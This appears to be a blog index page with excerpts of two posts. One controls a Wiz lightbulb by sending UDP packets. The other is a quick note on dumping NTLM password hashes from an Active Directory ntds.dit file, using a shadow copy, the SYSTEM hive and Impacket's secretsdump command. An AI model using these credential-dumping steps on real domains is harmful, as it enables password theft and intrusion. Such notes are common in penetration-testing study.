Published writing

Blog

Browse recent posts, filter by category, and move through the archive five posts at a time.

2 posts
Clear filter

Changing the color of a Wiz lightbulb from Rust.

We can change the color of a Wiz lightbulb from sending an UDP packet from Rust

I use Wiz lightbulbs for lights that I want to control remotely and has the ability to control from a local protocol. I don't want to depend on the internet and cloud working.

After setting up the device to accept local communication we can control the smart devices by sending a UDP packet. You can send a UDP packet via NC(netcat) or by making a program in a language such as Rust. There is a nice Python library for this as well.

I'm going to list quick examples here for NC, Bash and Rust.

NC:

 echo -n '{"id":1,"method":"setPilot","params":{"r":85,"g":85,"b":85,"dimming":100}}' | nc -4u -w1 192.168.5.106 38899

Bash:

 echo -n '{"id":1,"method":"setPilot","params":{"r":200,"g":12,"b":85,"dimming":100}}' > /dev/udp/192.168.5.106/38899

Rust:

fn main() {
  // Create the UDP socket
  let socket = UdpSocket::bind("0.0.0.0:0").unwrap(); // Bind to an available local port
  let target = "192.168.5.106:38899";
  let mut rng = rand::thread_rng
Read full post

Dumping NTLM Hashes from ntds.dit

Dumping NTLM Hashes from ntds.dit

Quick Note:

Create Shadow Volume

  • Copy %systemroot%\ntds.dit to C:\ntds.dit

  • Extract System system register

Using Impacket

python secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
Read full post